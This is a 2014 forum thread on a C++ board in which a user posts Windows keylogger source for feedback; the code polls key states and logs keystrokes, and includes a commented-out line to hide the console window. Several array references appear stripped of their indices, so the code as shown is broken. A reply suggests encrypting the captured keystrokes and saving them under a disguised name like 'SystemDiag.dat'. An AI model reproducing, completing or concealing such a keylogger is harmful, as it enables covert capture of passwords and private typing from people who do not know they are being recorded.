Feedback for my Keylogger :D

+2 Philipp Gross · September 9, 2014
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <iostream>
#include <string>

using namespace std;

string log;
const void addLog(string v){
    log=log+v;
    cout<<log<<endl;
}

int main(){
    HWND hWnd = GetConsoleWindow();
    //ShowWindow(hWnd, SW_HIDE );

    bool isShift=false;
    bool isAlt=false;

    const int abcKeycodes[]={0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5A};
    const string abcKeyvaluesLower[]={"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"};
    const string abcKeyvaluesUpper[]={"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};
    const string abcKeyvaluesAlt[]=  {"","","","","€","","","","","","","","µ","","","","@","","","","","","","","","","","","","","","","","","",};

    const int numKeycodes[]={0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69};
    const string numKeyvalues[]=     {"0","1","2","3","4","5","6","7","8","9","0","1","2","3","4","5","6","7","8","9"};
    const string numKeyvaluesUpper[]={"=","!","\"","§","$","%","&","/","(",")","","","","","","","","","","","","","","","","",""};
    const string numKeyvaluesAlt[]=  {"}","","²","³","","","","{","[","]","","","","","","","","","","","","","","","","","","","",""};

    const int speKeycodes[]={0x08,0x09,0x0D,0x1B,0x20,0x25,0x26,0x27,0x28,0x6A,0x6B,0x6C,0x6D,0x6E,0x6F};
    const string speKeyvalues[]={"[BACK]","[TAB]","[ENTER]","[ESC]","[SPACEBAR]","[LEFTARROW]","[UPARROW]","[RIGHTARROW]","[DOWNARROW]","[MULTIPLY]","[ADD]","[SEPARATOR]","[SUBTRACT]","[DECIMAL]","[DIVIDE]"};

    while(true){
        if(GetKeyState(0xA0)<0  || GetKeyState(0xA1)<0){
            isShift=true;
        }else{
            isShift=false;
        }
        if(GetKeyState(0xA4)<0  || GetKeyState(0xA5)<0){
            isAlt=true;
        }else{
            isAlt=false;
        }


        for(int i=0;i<(sizeof(abcKeycodes)/sizeof(int));i++){
            if(GetKeyState(abcKeycodes)<0){
                if(isShift){
                    addLog(abcKeyvaluesUpper);
                }else if(isAlt){
                    addLog(abcKeyvaluesAlt);
                }else{
                    addLog(abcKeyvaluesLower);
                }
            }
        }

        for(int i=0;i<(sizeof(numKeycodes)/sizeof(int));i++){
            if(GetKeyState(numKeycodes)<0){
                if(isShift){
                    addLog(numKeyvaluesUpper);
                }else if(isAlt){
                    addLog(numKeyvaluesAlt);
                }else{
                    addLog(numKeyvalues);
                }
            }
        }

        for(int i=0;i<(sizeof(speKeycodes)/sizeof(int));i++){
            if(GetKeyState(speKeycodes)<0){
                addLog(speKeyvalues);
            }
        }
        Sleep(100);
    }
    return 0;
}

What are you thinking ?

Post a Reply

Replies

Oldest  Newest  Rating
0 Philipp Gross · September 13, 2014
yea i did it this code is just for testing
0 Benjamin Arnold · September 13, 2014
Now encrypt it and dump it to a file named "SystemDiag.dat" or something!
  • 1

C++

107,035 followers
About

Used in many types of software including music players, video games, and many large scale applications.

Links
Moderators
Bucky Roberts Administrator